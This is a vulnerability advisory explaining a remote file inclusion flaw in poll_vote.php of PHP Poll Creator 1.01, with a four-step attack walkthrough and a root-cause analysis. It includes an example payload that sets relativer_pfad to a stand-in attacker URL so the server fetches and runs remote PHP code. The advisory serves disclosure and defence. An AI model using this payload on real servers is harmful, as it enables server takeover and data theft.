PHP remote file inclusion vulnerability in poll_vote.php in PHP Poll Creator 1.01 allows remote attackers to execute arbitrary PHP code via the relativer_pfad parameter.
PHP Poll Creator 1.01 is vulnerable to a remote file inclusion (RFI) attack, allowing attackers to execute arbitrary code on the server. By manipulating the relativer_pfad parameter in poll_vote.php, attackers can inject malicious PHP code, potentially leading to complete system compromise and data exfiltration.
Step 1: Payload Delivery: The attacker crafts a malicious PHP script and hosts it on a publicly accessible server (e.g., attacker.com/malicious.php).
Step 2: Parameter Manipulation: The attacker sends a crafted HTTP request to poll_vote.php, modifying the relativer_pfad parameter. The parameter is set to the URL of the attacker's malicious PHP script (e.g., relativer_pfad=http://attacker.com/malicious.php).
Step 3: Code Execution: The poll_vote.php script, due to the lack of input validation, uses the provided relativer_pfad value in an include() or require() statement. This causes the PHP interpreter to fetch and execute the attacker's malicious PHP code.
Step 4: System Compromise: The attacker's malicious PHP code executes on the server, allowing the attacker to perform actions such as creating backdoors, stealing sensitive data, or gaining complete control of the server.
The vulnerability stems from a lack of input validation and sanitization in the poll_vote.php script. The script uses the relativer_pfad parameter to include files without properly verifying the source. This allows an attacker to specify a remote URL or a local file path containing malicious PHP code. When the script attempts to include the attacker-controlled file, the PHP interpreter executes the injected code, granting the attacker control over the server. The root cause is the insecure use of include() or require() functions with user-controlled input, leading to a classic RFI vulnerability. The absence of proper input validation allows for the execution of arbitrary code.